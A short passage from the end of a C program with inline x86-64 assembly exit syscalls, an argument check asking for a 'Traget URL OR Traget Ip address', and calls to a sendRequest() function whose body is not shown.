$0x3C, %%rax\n\t" "1:\n\t" "syscall\n\t" : : : "rax", "rdi", "rsi" ); } if (targetip && targetUrl) { printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n"); asm volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rdi" ); } if (selectIp) { sendRequest(); } else { sendRequest(); } return 0; }